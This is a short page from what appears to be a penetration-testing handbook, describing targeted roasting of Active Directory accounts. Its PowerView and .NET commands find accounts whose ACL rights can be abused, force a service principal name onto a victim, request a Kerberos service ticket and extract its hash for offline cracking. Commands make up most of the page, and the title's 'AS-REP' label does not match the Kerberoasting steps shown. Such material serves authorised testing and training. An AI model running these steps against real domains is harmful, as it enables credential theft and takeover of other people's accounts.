> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/targeted-as-rep-roasting.md).

# TARGETED AS-REP ROASTING

Targeted AS-REP roasting is also known as **Set-SPN attack**

Checking "GenericAll" or "GenericWrite" permission on ACL to modify the SPN 

Attacker should be a part of any AD object same as Victim

```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<OBJECT>"}
```

Enumerating whether the Victim has SPN

```
Get-DomainUser -Identity <USERNAME> | Select ServicePrincipalName
```

Forcefully setting SPN for the Victim

```
Set-DomainObject -Identity <USERNAME> -Set @{serviceprincipalname='DOMAIN/WHATEVER'} -Verbose
```

Verifying once, whether SPN is set or not

Requesting a new TGS for the SPN we set manually

Requesting a new TGS to the service from an user account

{% code title="PowerView" %}

```
Request-SPNTicket -SPN <SPN FQDN>

Get-DomainUser -Identity <USERNAME> | Get-DomainSPNTicket | Select -ExpandProperty Hash
```

{% endcode %}

{% code title="Active Directory Module" %}

```
Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <SPN FQDN>
```

{% endcode %}

Verifying tickets using **klist**

**CRACK**